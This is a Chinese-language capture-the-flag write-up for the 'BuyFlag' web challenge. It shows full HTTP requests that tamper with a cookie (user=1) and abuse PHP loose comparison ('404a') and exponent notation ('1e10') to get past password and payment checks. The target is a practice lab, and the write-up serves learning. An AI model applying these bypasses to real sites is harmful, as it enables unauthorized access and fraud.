JZTXT

[极客大挑战 2019]BuyFlag

发布时间 2023-10-31 14:02:58作者: imtaieee

打开网页，发现右手边的菜单中有个 PAYFLAG，打开后跳转到 pay.php 中，其中网页源代码有提示，主要内容如下：

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
Only Cuit's students can buy the FLAG

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

查看 pay.php 的请求包，如下，可以发现，Cookie 中存在一个 user，配合提示，可以得知需要将 user 改为 1，并且 POST $password 需要通过非数字检查，并且又要与 404 相等，最后还需要 POST $money。

GET /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=0
Connection: close

此时，可以将 $password 设置为 404a，这样可以通过非数字检查，又可以利用弱比较，通过与 404 相等的检查，请求包与响应包如下。

POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

password=404a&money=100000000

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 30 Oct 2023 15:45:43 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2477
Connection: close
X-Powered-By: PHP/5.3.3

<!DOCTYPE HTML>

<html>
	<head>
		<title>Buy You Flag</title>
		<meta charset="utf-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<!--[if lte IE 8]><script src="assets/js/ie/html5shiv.js"></script><![endif]-->
		<link rel="stylesheet" href="assets/css/main.css" />
		<!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]-->
		<!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]-->
	</head>
	<body>

		<!-- Page Wrapper -->
			<div id="page-wrapper">

				<!-- Header -->
					<header id="header">
						<h1><a href="index.php">Syclover</a></h1>
						<nav id="nav">
							<ul>
								<li class="special">
									<a href="#menu" class="menuToggle"><span>Menu</span></a>
									<div id="menu">
										<ul>
											<li><a href="index.php">Home</a></li>
											<li><a href="pay.php">PayFlag</a></li>
										</ul>
									</div>
								</li>
							</ul>
						</nav>
					</header>

				<!-- Main -->
					<article id="main">
						<header>
							<h2>Flag</h2>
							<p>Flag need your 100000000 money</p>
						</header>
						<section class="wrapper style5">
							<div class="inner">

								<h3>attention</h3>
								<p>If you want to buy the FLAG:</br>
									You must be a student from CUIT!!!</br>
									You must be answer the correct password!!!

	
								</p>
<hr />
<p>
you are Cuiter</br>Password Right!</br>Nember lenth is too long</br>	
</p>								

								<hr />

							</div>
						</section>
					</article>

				<!-- Footer -->
					<footer id="footer">

						<ul class="copyright">
							<li>&copy; Syclover</li><li>Design: Cl4y</li>
						</ul>
					</footer>

			</div>

		<!-- Scripts -->
			<script src="assets/js/jquery.min.js"></script>
			<script src="assets/js/jquery.scrollex.min.js"></script>
			<script src="assets/js/jquery.scrolly.min.js"></script>
			<script src="assets/js/skel.min.js"></script>
			<script src="assets/js/util.js"></script>
			<!--[if lte IE 8]><script src="assets/js/ie/respond.min.js"></script><![endif]-->
			<script src="assets/js/main.js"></script>
	
	</body>
<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->
</html>

响应包中提示：Nember lenth is too long，提示输入的 $money 长度过长，那么可以用指数表示法来绕过长度检测：$money = 1e10，请求包如下。

POST /pay.php HTTP/1.1
Host: 22eb0fcf-632a-4db3-ad90-4907eb86fb56.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

password=404a&money=1e10